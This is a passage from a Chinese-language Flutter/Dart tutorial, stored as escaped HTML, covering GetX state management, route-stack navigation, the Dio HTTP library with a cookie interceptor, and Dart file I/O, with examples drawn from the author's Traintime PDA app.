class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etooltip:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Increment\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e \n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatefulWidget 适合于一个小部件内部短时状态的维护。如果我们要搞牵扯到许多部件,乃至于各个页面的共同状态,就很难办了。这里我要给大家介绍一个我日常在使用的状态管理器:GetX。\u003c/p\u003e\n\u003ch3 id=\"getx\"\u003eGetX\u003c/h3\u003e\n\u003cp\u003eGetX 是三个库的集合:状态管理,路由管理,和依赖管理。这里只关注状态管理。\u003c/p\u003e\n\u003ch4 id=\"getx-观察者模式状态管理\"\u003eGetX 观察者模式状态管理\u003c/h4\u003e\n\u003cp\u003e第一个状态管理使用的是obs-\u0026gt;观察者模式,我们记住这么几点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在变量初始化的时候,初始化值的后面添加\u003ccode\u003e.obs\u003c/code\u003e来使其可观察化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003ccode\u003eObx\u003c/code\u003e部件来渲染需要用到可观察化变量的部件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用平常的方法修改可观察化变量的值\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e比如这个计数器应用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:get/get.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 在 GetX 中,给变量添加 .obs 就可以使其被观察\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这时,他的类型不再是值的类型了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0.\u003c/span\u003e\u003cspan class=\"n\"\u003eobs\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMainApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 注意这里 Obx 部件,他能获取对应的可观察部件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// GetX 保证这个寻找是相当快的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eObx\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Clicks: \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这里没用 setState,仅仅对该可观察变量里面的值修改即可\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;Add it!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003efontSize:\u003c/span\u003e \u003cspan class=\"m\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"getx-控制器类状态管理\"\u003eGetX 控制器类状态管理\u003c/h4\u003e\n\u003cp\u003e再给大家介绍一下\u003ccode\u003eGetxController\u003c/code\u003e,我 PDA 用的后者更多。\u003c/p\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\u003c/p\u003e\n\u003cp\u003e每个 GetX Controller 都是继承 GetController 虚拟类的一个类。这个类里面,除了你要使用到的值和方法,还有两个方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eonInit():在这个控制器初始化的时候使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eonReady():在这个控制器刚初始化(时间大约一帧后)运行,处理异步请求。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在使用控制器的时候,我们可以直接用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eGetBuilder\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eController\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ebuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e建议阅读 Traintime PDA 代码中的\u003ccode\u003econtroller/sport_controller.dart\u003c/code\u003e,\u003ccode\u003erepository/xidian_sport/xidian_sport_session.dart\u003c/code\u003e,以及 page 下面关于体育部件的代码。以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eController(GetX Controller) – Model(Dio网络库) – View(Flutter)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"杂项\"\u003e杂项\u003c/h2\u003e\n\u003ch3 id=\"路由栈\"\u003e路由栈\u003c/h3\u003e\n\u003cp\u003e栈是先进后出的结构,而路由栈里面,存的是每个页面的信息了。在 Flutter 中,我们这么处理路由栈:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说压入路由栈,进入这个页面。\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 这个是说弹出路由栈的顶,也就是返回上一个页面\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 可以做到按需弹栈,然后压栈\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epushNamedAndRemoveUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 弹栈之后要压入的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRoute\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这个是判断栈顶元素是否符合要求的函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里面的 context 是指,这个应用,或者这个部件的状态。\u003c/p\u003e\n\u003ch3 id=\"dio-网络插件\"\u003eDio 网络插件\u003c/h3\u003e\n\u003cp\u003eFlutter 提供了很多的插件,来方便我们的开发体验。其中最著名的就是 Dio 网络库。他是一个异步网络访问库,使用方式和 axios 比较像。\u003c/p\u003e\n\u003cp\u003e先说明一下拦截器,它可以在获取回复/发送请求时,先拦截之,然后对该包进行修改。\u003c/p\u003e\n\u003cp\u003eDio 类的定义,其中我用到了拦截器和对基地址的设置,设置了这个,后面的访问就可以输入那个网站的子路由了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e/// Maybe I wrote how to store the data is better.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003e_dio\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBaseOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebaseUrl:\u003c/span\u003e \u003cspan class=\"n\"\u003e_baseURL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003econtentType:\u003c/span\u003e \u003cspan class=\"n\"\u003eHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eformUrlEncodedContentType\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这个拦截器是 Cookie 管理器\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einterceptors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieManager\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDio 的使用示例,它可以支持 POST,GET 等常见的 HTTP 请求方式。可以设定传输参数,请求头等很多东西。它的返回和 axios 大致相同,有响应数据,响应代码等。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;XN\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;XQ\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;datas\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cxjcs\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rows\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;XQKSRQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"存储\"\u003e存储\u003c/h3\u003e\n\u003ch4 id=\"dart-操作文件的函数\"\u003eDart 操作文件的函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 这样定义一个文件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 按照字符读取文件的方法,异步和同步\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 按照一行一行字符读取文件的方式,异步和同步\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLines\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLinesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 二进制读取方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Dart 中表示二进制有一个专门的类型,叫做 Uint8List\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 二进制写入方法\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytesSync\u003c/span\u003e\u003cspan 